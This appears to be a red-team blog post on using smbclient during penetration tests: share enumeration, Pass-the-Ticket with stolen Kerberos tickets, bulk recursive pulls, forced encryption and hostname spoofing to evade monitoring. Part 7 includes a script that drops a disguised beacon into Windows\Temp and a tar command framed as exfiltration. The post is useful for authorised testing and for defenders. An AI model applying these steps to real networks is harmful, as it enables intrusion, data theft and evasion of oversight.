Everyone wants to talk about new C2 frameworks and the latest zero-day. In practice, most engagements I’ve been on were won by something less interesting — usually a misconfigured share that gave up the wrong file to the wrong account. The tool that got me to it more often than not was smbclient.
SMB/CIFS is the connective tissue of a Windows network. File shares, printers, RPC, named pipes — it all rides on SMB. Knowing the protocol well opens up a surprising number of attack paths.
This is the long version of how I actually use smbclient on engagements. Not the man page, and not just -L and get. Recursive pulls, Kerberos via .ccache, forced encryption when the network is being watched, credential opsec, and what the connection actually looks like from the blue team’s side.
This is about the standard smbclient from the Samba suite on Linux. I’ll contrast it with Impacket’s smbclient.py where it matters, because the two have very different strengths.
Part 1: SMB versions, briefly#
You can’t pick the right flags without knowing roughly which dialect you’re talking to.
- SMB 1.0 (CIFS) — ancient, chatty, and the home of EternalBlue (MS17-010). Disabled by default on anything modern. If you see SMBv1 still on, you’re usually looking at OT/legacy gear, an old printer, or a sysadmin who hasn’t audited their fileservers in a decade.
- SMB 2.0 / 2.1 — Vista / Server 2008. Cuts the round-trip count, larger buffers, symbolic links.
- SMB 3.0 — Windows 8 / Server 2012. End-to-end encryption, transparent failover, multi-channel.
- SMB 3.1.1 — Windows 10 / Server 2016. Pre-auth integrity checks, which kill silent dialect downgrades — annoying for MITM, good for defenders.
Signing and encryption#
Two things to know up front:
- SMB signing puts a signature on every packet. It defeats relay attacks like the ones
ntlmrelayxdoes. Domain controllers require it by default. - SMB 3.0+ encryption hides the entire payload from network IDS. Snort and Suricata signatures that key on filenames or commands inside SMB go blind.
smbclient supports both natively, which means hardened servers that reject older or less capable clients still talk to it.
Part 2: Install and config#
smbclient is part of the Samba suite. On Kali or Parrot it’s already there. On a minimal Debian/Ubuntu drop box:
sudo apt-get update
sudo apt-get install -y smbclient cifs-utilsA working smb.conf#
You can pass everything as flags, but a clean ~/.smb/smb.conf (or /etc/samba/smb.conf) saves a lot of headaches with legacy servers and lets you tone down some of the obvious fingerprints.
[global]
# Allow connecting to old servers if necessary (Use with caution!)
# NT1 is SMBv1. Only enable this if you know you need it.
client min protocol = NT1
client max protocol = SMB3
# Authentication Tweaks
client lanman auth = no
client ntlmv2 auth = yes
# Forensic Evasion: Lie about who you are.
# By default, smbclient announces itself as "Samba x.y.z".
# This stands out in packet captures. Let's look like Windows 10.
workgroup = WORKGROUP
server string = Windows 10 Enterpriseserver string only changes how your machine looks if it’s serving SMB. Some client operations still leak version info during the Session Setup. A defender doing real packet fingerprinting will identify smbclient regardless — assume that and plan accordingly.
Part 3: Enumeration#
You can’t steal what you can’t find.
Listing shares#
# Attempt to list shares using a null session (no credentials)
# -N suppresses the password prompt
smbclient -L 192.168.1.100 -N
# List shares with credentials
# Format: DOMAIN\username%password
smbclient -L 192.168.1.100 -U "CORP\jsmith%Password123"
# Dealing with "Access Denied" on -L
# Sometimes you have valid creds but cannot list shares.
# This is often due to restrictive IPC$ permissions.
# Try guessing common shares:
smbclient //192.168.1.100/C$ -U "CORP\jsmith%Password123"The flags worth memorizing:
-Llists shares.-Nskips the password prompt (good for null-session checks).-Uis the username; leave off%passwordto be prompted securely.-Wsets the workgroup or domain if you don’t put it in the username string.
Null session vs. guest#
Two related but distinct things:
- Null session — you authenticate with empty username and empty password. Historically this let you connect to
IPC$and pull users via RPC. Microsoft has mostly killed this. - Guest access — you authenticate, but the server maps you to the Guest account. Common on Windows boxes with “Password Protected Sharing” turned off, and you’ll usually see shares like
SharedDocsorPrinters.
Always check both. If -N works, try listing files on standard shares before assuming you’ve got nothing.
Part 4: Connecting and using the shell#
smbclient //192.168.1.100/Finance -U "CORP\jsmith"The interactive prompt (smb: \>) feels like FTP. The basics:
ls— list filescd— change directorypwd— current remote directoryget file.txt— download to your local cwdput payload.exe— upload from your local cwddel file.txt— delete a remote filemkdir folder— create a remote directory
Two commands most people skip#
tarmode for bulk pulls#
Pulling thousands of small files (source trees, web roots) one at a time is painful — every file pays the round-trip tax. tarmode wraps the remote files into a tar stream and you get one blob.
smb: \> tarmode # Enable tar mode
smb: \> recurse # Enable recursion
smb: \> get . # 'Get' the current directory
# Result: A local file named 'tarmode.tar' containing everything.allinfo#
Before you try to drop a payload, check whether you can write to the path:
smb: \> allinfo payload.exeThis dumps ACLs, timestamps, and attributes. Useful for confirming you have write access and the file isn’t read-only before you discover the hard way.
Part 5: The techniques worth knowing#
1. Recursive downloads#
If you’ve found a share full of HR docs or finance spreadsheets, don’t get them one by one.
smb: \> mask "" # Remove any filename filters
smb: \> recurse ON # Enable recursion
smb: \> prompt OFF # Disable confirmation prompts (Critical!)
smb: \> mget * # Download everythingWithout prompt OFF you’re hammering Enter for the next forty minutes.
2. Pass-the-Hash vs. Pass-the-Ticket#
This trips up new operators all the time. Standard smbclient does not support Pass-the-Hash. There’s no -U user%hash. For PtH you need Impacket’s smbclient.py.
What standard smbclient does support is Kerberos — Pass-the-Ticket. If you’ve already pulled a .ccache (TGT or service ticket) from a compromised host using Rubeus, Mimikatz, or Ticketer, you can hand it to smbclient:
# 1. Point the environment variable to your ticket file
export KRB5CCNAME=/tmp/admin.ccache
# 2. Use the -k (Kerberos) flag
# Note: You MUST use the Full Qualified Domain Name (FQDN), NOT the IP!
# Kerberos relies on DNS names.
smbclient //dc01.corp.local/C$ -kThe catch is the FQDN — Kerberos resolves the SPN against the hostname, not the IP. If you -k against a raw IP, it won’t work and you’ll waste twenty minutes thinking your ticket is bad.
The win: in environments where NTLM auth is heavily monitored, Kerberos auth is often noisier in the SIEM but less alerted on, and you skip the password and the NTLM hash entirely.
3. Forcing SMB3 encryption#
In a tightly monitored environment (a PCI zone, anything with serious DLP), filenames going across the wire in cleartext are a problem. Plenty of IDS rules trigger on substrings like CONFIDENTIAL or password inside SMB traffic.
Force SMB3 encryption with -e:
smbclient //192.168.1.100/Sensitive -U user -eIf the server supports it, the session is opaque to the network sensors. If it doesn’t (e.g. unpatched Server 2008 R2), the connection fails outright instead of quietly downgrading. That’s the behavior you want.
4. Credential files#
Don’t paste your password or hash into the command line if you can avoid it.
- It ends up in
~/.bash_history. - It’s visible in
ps auxto anyone else on the box.
Use a credentials file:
username = jsmith
password = SuperSecretPassword!
domain = CORPThen -A:
smbclient //192.168.1.100/Share -A .smbcredschmod 600 .smbcreds immediately, and shred -u .smbcreds when you’re done with it.
Part 6: Native vs. Impacket#
| Feature | Native smbclient | Impacket smbclient.py |
|---|---|---|
| Speed | Extremely Fast (C-based) | Slower (Python-based) |
| Pass-the-Hash | No (Requires workaround) | Yes (Native support) |
| Kerberos | Yes (Native System Integration) | Yes (Requires flags) |
| Interactive Shell | Robust, FTP-like | Basic |
| Recursion | Excellent (tarmode, recurse) | Limited |
| Installation | Pre-installed everywhere | Requires Python setup |
My rough rule: if I only have an NTLM hash, Impacket. If I have a ticket, or I’m moving any non-trivial amount of data, native. The native client is just dramatically faster, and tarmode is irreplaceable when you find a deep tree you want off the box quickly.
Part 7: Automation#
Here-docs#
-c works for one command, but for multi-step operations a here-doc is cleaner and easier to read in a script.
#!/bin/bash
set -euo pipefail
TARGET="192.168.1.100"
SHARE="C$"
USER="Administrator"
PASS="Password123"
LOCAL_FILE="beacons/http_beacon.exe"
REMOTE_PATH="Windows\\Temp\\update_service.exe"
echo "[*] Uploading payload to $TARGET..."
smbclient "//$TARGET/$SHARE" -U "$USER%$PASS" <<EOF
put "$LOCAL_FILE" "$REMOTE_PATH"
exit
EOF
echo "[+] Upload complete."Tar-mode for exfiltration#
You can have smbclient archive a remote tree directly to a local tarball — no thousands of small files written to your disk along the way:
smbclient //server/share -U user%pass -Tc backup.tar /path/to/remote/folder-T is tar mode and -c says create.
Part 8: What the defender sees#
Every connection you make leaves a trail.
Windows Event Logs
- 4624 (Logon) — you’ll usually generate a Type 3 (Network) logon. The Workstation Name field often gives you away (
kaliis a common giveaway). - Opsec: change your hostname before engaging. Match the client’s naming convention if you can.
sudo hostnamectl set-hostname DESKTOP-JSMITHis a one-liner. - 5140 (Share Access) — fires on share connection.
- 4624 (Logon) — you’ll usually generate a Type 3 (Network) logon. The Workstation Name field often gives you away (
Network artifacts
- During Session Setup, the client tells the server its OS and LAN Manager strings. Stock
smbclientreports as Samba. In an all-Windows shop, “Samba 4.x.x” talking to “Windows Server” is a glaring anomaly to anyone watching Wireshark or Zeek.
- During Session Setup, the client tells the server its OS and LAN Manager strings. Stock
Part 9: Common errors#
NT_STATUS_ACCESS_DENIED— credentials might be valid but lack permission to that share. Try a different share.NT_STATUS_LOGON_FAILURE— credentials are wrong.NT_STATUS_ACCOUNT_LOCKED_OUT— stop. You’ve locked the account. Note the time, tell the lead.protocol negotiation failed: NT_STATUS_CONNECTION_RESET— client/server can’t agree on a dialect. Add-m SMB3or fixsmb.conf.
Wrapping up#
smbclient is one of those tools that sits in the background of every engagement and never makes it into the writeup. The C2 framework gets the credit, but the config file you needed to pivot, the password database, the unattended-install XML with creds in it — those almost always come off a share, and the share almost always got pulled with smbclient.
If you only remember a few flags, make them -k with KRB5CCNAME set (Kerberos), -e (forced SMB3 encryption), -A (credentials file), and the tarmode/recurse combo inside the shell. The rest you can look up.
UncleSp1d3r out.